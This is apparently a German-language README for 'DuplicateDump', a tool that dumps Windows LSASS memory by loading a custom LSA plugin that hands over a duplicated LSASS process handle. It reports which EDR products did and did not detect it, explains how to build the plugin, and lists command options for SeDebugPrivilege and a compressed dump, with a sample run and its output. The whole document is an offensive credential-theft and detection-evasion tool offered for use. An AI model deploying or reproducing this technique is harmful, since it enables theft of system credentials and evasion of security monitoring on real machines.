
LSASS mit einem duplizierten Handle aus einem benutzerdefinierten LSA-Plugin dumpen
DuplicateDump ist ein Fork von MirrorDump mit den folgenden Änderungen:
DuplicateDump fügt ein benutzerdefiniertes LSA-Plugin hinzu, das den LSASS-Prozess-Handle vom LSASS-Prozess zu DuplicateDump dupliziert. DuplicateDump hat somit einen einsatzbereiten Prozess-Handle auf LSASS, ohne OpenProcess aufrufen zu müssen.
Durch das Laden von DuplicateDump in den Speicher konnte der LSASS-Speicher ohne Erkennung gedumpt werden auf:
Erkannt von Cortex XDR, Crowdstrike. Fehlgeschlagen, LSASS ohne Erkennung zu dumpen auf SentinalOne.
Kompilieren Sie das LSA-Plugin (exportieren Sie entweder SpLsaModeInitialize oder dllMain) und geben Sie den vollständigen Pfad der DLL an DuplicateDump an.
.\DuplicateDump.exe --help
-f, --filename=VALUE The path to write the dump file to
-p, --plugin=VALUE Full file path to LSA plugin
-c, --compress GZip and delete the dump file on disk
-d, --DebugPriv Obtain SeDebugPrivilege
-h, --help Display this help
Beispiel
.\DuplicateDump.exe -f test -c -p C:\LSAPlugin.dll
[+] Loading LSA security package
[+] Named pipe connected and replying with current PID 6492
[+] Found duplicated LSASS process handle 0x3d0
[+] Compressed dump file saved to test.gz
DuplicateDump verwendet DInvoke, um die API AddSecurityPackage aufzurufen und ein LSA-Plugin zu laden. Sie könnten einen RPC-Aufruf verwenden, ohne diesen API-Aufruf direkt ausführen zu müssen. Details finden Sie in XPNs Blogbeitrag.
Kürzlich hat splinter_code entdeckt, dass SecLogon zum Dumpen von LSASS verwendet werden könnte. Wir empfehlen Ihnen dringend, seinen Blogbeitrag zu studieren.